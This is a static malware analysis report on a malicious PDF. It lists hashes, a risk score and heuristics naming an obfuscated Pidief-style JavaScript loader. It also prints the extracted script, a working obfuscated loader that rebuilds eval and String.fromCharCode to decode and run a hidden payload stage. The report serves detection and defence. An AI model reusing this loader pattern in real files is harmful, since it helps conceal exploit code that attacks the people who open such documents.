Malicious PDF — malware analysis report

Static analysis result for SHA-256 245d84b1eff6865b…

MALICIOUS

PDF

45.3 KB First seen: 2026-05-08
MD5: 83d3364f4ed989c725a9bc83d0c98ac8 SHA-1: 287509ea083ca2924233a0ee4653e6eb5b7c5b37 SHA-256: 245d84b1eff6865b622d7b06408d0cd3c13e237460f1c75a67a88784216f7bb2
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB298 451 bytes
SHA-256: e4ba23b5024d87e72a9436d30aa1c035390034e0761898ddf35d317bd35b48f6
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
rbcr='';
orsyt=('qwrwqr','tit');
e('bcil=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
fvqy=e('String.fr'+bcil.substr(0,10));
ktkyj = e(bcil.substr(10)['replace'](/u/g,','));
e('k=ktkyj.length');
for (i = 0; i < k; i+=2) {
	ldzp = ktkyj[i+1] + ('erybjkerl',ktkyj[i]);
	rbcr += fvqy(ldzp);
}
e(rbcr);

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